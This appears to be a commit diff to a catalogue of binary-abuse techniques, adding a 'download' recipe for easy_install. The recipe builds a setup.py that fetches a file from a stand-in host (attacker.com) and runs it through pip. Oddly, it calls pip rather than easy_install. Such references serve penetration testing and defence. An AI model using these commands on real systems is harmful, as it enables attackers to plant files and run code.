Add download to easy_install

_gtfobins/easy_install.md

@@ -36,6 +36,18 @@ functions:
         else: import SimpleHTTPServer as s, SocketServer as ss
         ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
         easy_install $TF
+  download:
+    - description: Fetch a remote file via HTTP GET request. It needs an absolute local file path.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=/tmp/file_to_save
+        TF=$(mktemp -d)
+        echo "import os;
+        os.execl('$(whereis python)', '$(whereis python)', '-c', \"\"\"import sys;
+        if sys.version_info.major == 3: import urllib.request as r
+        else: import urllib as r
+        r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py
+        pip install $TF
   file-write:
     - description: It needs an absolute local file path.
       code: |